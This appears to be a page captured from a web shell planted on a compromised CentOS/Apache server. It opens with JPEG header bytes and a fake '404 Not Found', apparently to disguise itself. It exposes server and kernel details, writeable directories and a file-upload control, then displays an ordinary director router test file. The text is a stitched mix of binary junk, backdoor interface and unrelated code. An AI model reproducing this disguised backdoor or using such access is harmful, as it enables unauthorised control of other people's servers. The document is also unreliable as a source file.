ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/cwd/usr/lib/node_modules/forever/node_modules/director/test/server/http/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/cwd/usr/lib/node_modules/forever/node_modules/director/test/server/http/methods-test.js
/*
 * methods-test.js: Tests for HTTP methods.
 *
 * (C) 2011, Charlie Robbins, Paolo Fragomeni, & the Contributors.
 * MIT LICENSE
 *
 */

var assert = require('assert'),
    vows = require('vows'),
    director = require('../../../lib/director');

vows.describe('director/http/methods').addBatch({
  "When using director": {
    "an instance of director.http.Router should have all relevant RFC methods": function () {
      var router = new director.http.Router();
      director.http.methods.forEach(function (method) {
        assert.isFunction(router[method.toLowerCase()]);
      });
    },
    "the path() method": {
      topic: new director.http.Router(),
      "/resource": {
        "should insert nested routes correct": function (router) {
          function getResource() {}
          function modifyResource() {}

          router.path(/\/resource/, function () {
            this.get(getResource);

            this.put(/\/update/, modifyResource);
            this.post(/create/, modifyResource);
          });

          assert.equal(router.routes.resource.get, getResource);
          assert.equal(router.routes.resource.update.put, modifyResource);
          assert.equal(router.routes.resource.create.post, modifyResource);
        }
      }
    }
  }
}).export(module);

ZeroDay Forums Mini